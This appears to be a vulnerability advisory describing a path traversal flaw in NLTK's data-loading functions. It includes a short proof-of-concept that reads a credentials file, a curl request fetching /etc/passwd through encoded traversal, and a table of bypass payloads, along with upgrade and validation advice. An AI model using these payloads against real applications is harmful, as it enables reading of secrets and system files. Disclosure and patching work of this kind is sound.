Listen to this Post
NLTK versions prior to 3.10.0-rc1 contain a critical path traversal vulnerability in the `nltk.data.load()` and `nltk.data.find()` functions. The issue arises from an unsafe order of operations: path safety checks are performed before URL decoding occurs. The `url2pathname()` function decodes percent-encoded sequences (e.g., `%2e%2e` to ..) after the validation step. An attacker can supply encoded traversal sequences like `%2e%2e` instead of literal .., bypassing all path validation. The regex check in `nltk/data.py` only looks for literal `../` sequences and fails to account for encoded variants. This is a classic “decode-after-check” or TOCTOU-style flaw. The decoded path then traverses outside the intended NLTK data directory, enabling arbitrary file read. The default `pathsec.ENFORCE=False` setting further exacerbates the impact by not blocking the file read at the `open()` stage.
DailyCVE Form
Platform: NLTK
Version: <3.10.0-rc1
Vulnerability: Path Traversal
Severity: Critical
date: 2026-06-12
Prediction: Patch available (3.10.0-rc1)
What Undercode Say:
Check NLTK version python -c "import nltk; print(nltk.<strong>version</strong>)" Verify vulnerable regex pattern in data.py grep -n "_UNSAFE_NO_PROTOCOL_RE" /path/to/nltk/data.py Test for vulnerability with curl (if exposed via web) curl "https://target.com/analyze?resource=%2e%2e%2fetc%2fpasswd"
Exploit: (Educational Purposes!)
import nltk.data
Set the NLTK data path (simulating a typical configuration)
nltk.data.path = ["/home/user/nltk_data"]
Payload using percent-encoded path traversal
%2e%2e decodes to '..' via url2pathname()
data = nltk.data.load("%2e%2e/SECRET_credentials.txt", format="raw")
print(data)
Output: b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n'
Additional Bypass Payloads:
| Payload | After url2pathname() |
| : | : |
| `%2e%2e/secret` | `../secret` |
| `.%2e/secret` | `../secret` |
| `%2e./secret` | `../secret` |
| `%2E%2E/secret` | `../secret` |
| `%2fetc%2fpasswd` | `/etc/passwd` |
| `..%2f..%2f` | `../../` |
Protection
- Upgrade NLTK: Immediately upgrade to version `3.10.0-rc1` or later, which contains the fix.
pip install --upgrade nltk>=3.10.0-rc1
- Input Validation: If upgrading is not immediately possible, implement strict allowlist validation for all resource names passed to `nltk.data.load()` or
nltk.data.find(). Reject any input containing%,.., or path separators.
Impact
An attacker who controls the `resource_name` parameter can read any file the Python process has permission to access. This includes:
Application configuration files (`.env`, `settings.py`)
Credentials and secrets (AWS keys, database passwords)
SSH private keys (`~/.ssh/id_rsa`)
System files (`/etc/passwd`, `/etc/shadow`)
Process environment (`/proc/self/environ`)
This affects any application that passes user-controlled input to these NLTK functions, including NLP web applications, Jupyter notebooks, and CLI tools.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
